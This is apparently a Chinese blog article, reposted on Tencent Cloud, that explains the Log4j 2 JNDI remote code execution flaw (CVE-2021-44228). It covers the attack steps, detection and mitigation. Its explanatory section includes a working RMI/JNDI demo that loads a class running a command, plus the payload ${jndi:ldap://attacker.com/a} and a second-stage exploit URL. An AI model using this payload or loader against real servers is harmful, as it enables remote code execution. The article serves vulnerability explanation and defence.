前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache Log4j 2 远程代码执行漏洞详解

Apache Log4j 2 远程代码执行漏洞详解

作者头像
SimpleAstronaut
发布2022-08-09 09:23:27
7890
发布2022-08-09 09:23:27
举报
文章被收录于专栏:LMC的摸鱼博客

Post Views: 573

Apache Log4j 2 远程代码执行漏洞详解

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0 正式版本。

资料来源:

阿里云漏洞预警

360安全漏洞报告

腾讯安全

1.预备知识

1.1 Apache

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。

1.2 log4j

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

1.3 JNDI注入

1.3.1 JNDI

JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。

1.3.2 JNDI注入

JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击

1.3.3 RMI

通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。

javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)

  1. className – 远程加载时所使用的类名
  2. classFactory – 加载的class中需要实例化类的名称
  3. classFactoryLocation – 提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapperReference的实例进行一个封装。

服务端代码如下

代码语言:javascript
复制
package demo;
​
import com.sun.jndi.rmi.registry.ReferenceWrapper;
​
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
​
​
public class RMIServer {
​
    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(7777);
​
        Reference reference = new Reference("test", "test", "http://localhost/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);
​
    }
}

恶意代码(test.class),将其编译好放到可访问的http服务器

代码语言:javascript
复制
import java.lang.Runtime;
​
public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

当客户端通过InitialContext().lookup("rmi://127.0.0.1:7777/calc")获取远程对象时,会执行我们的恶意代码

代码语言:javascript
复制
package demo;
​
import javax.naming.InitialContext;
​
public class JNDI_Test {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
    }
}

调用栈如下

代码语言:javascript
复制
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
1.3.4 JNDI触发 Apache Log4j2

Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

攻击原理:(来源 https://www.zhihu.com/question/504998020/answer/2265112632

代码语言:javascript
复制
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
 static Logger log = Logger.getLogger(log4jExample.class.getName());
 /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
 public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
 
 // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
 // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

攻击步骤

  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a}attacker.com是攻击者控制的地址。
  • 记录的恶意负载被触发,服务器通过JNDIattacker.com请求。
  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
  • 攻击者执行恶意脚本。

2.漏洞处理

漏洞评级

CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重

影响版本

Apache Log4j 2.x < 2.15.0

2.1 内部自查

2.1.1 项目依赖版本检测

检测pom依赖版本是否低于 2.15.0

代码语言:javascript
复制
<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
  </dependency>
</dependencies>

检测gradle依赖版本是否低于 2.15.0

代码语言:javascript
复制
dependencies {
  compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
  compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
} 

检测Ivy依赖版本是否低于 2.15.0

代码语言:javascript
复制
<dependencies>
  <dependency org="org.apache.logging.log4j" name="log4j-api" rev="2.15.0" />
  <dependency org="org.apache.logging.log4j" name="log4j-core" rev="2.15.0" />
</dependencies>

检测SBT依赖版本是否低于 2.15.0

代码语言:javascript
复制
libraryDependencies += "org.apache.logging.log4j" % "log4j-api" % "2.15.0"
libraryDependencies += "org.apache.logging.log4j" % "log4j-core" % "2.15.0"

若没有使用上述工具,那么可以全局搜索项目中是否存在log4j的相关jar包,并通过jar包中的/META-INF/MANIFEST.MF文件查看log4j的版本。

2.1.2 日志/流量排查

\1. 排查日志或者解码后完整的请求数据包中是否存在${jndi:关键字。

\2. 排查日志是否存在相关堆栈报错,堆栈里是否有JndiLookupldapURLContextgetObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

2.2 修复

1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0 版本,地址 https://logging.apache.org/log4j/2.x/download.html

2、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

3、临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

2.2.1通用修补

升级到最新版本 2.15.0-rc2 :

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2.2.2临时修补建议
  1. 设置JVM启动参数-Dlog4j2.formatMsgNoLookups=true
  2. 尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版本也不能完全保证安全,依然存在本地绕过的情况。
  3. 限制不必要的业务访问外网。
  4. 采用 rasp 对lookup的调用进行阻断。
  5. 采用 waf 对请求流量中的${jndi进行拦截。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021年12月11日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Apache Log4j 2 远程代码执行漏洞详解
    • 1.预备知识
      • 1.1 Apache
      • 1.2 log4j
      • 1.3 JNDI注入
    • 2.漏洞处理
      • 2.1 内部自查
      • 2.2 修复
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档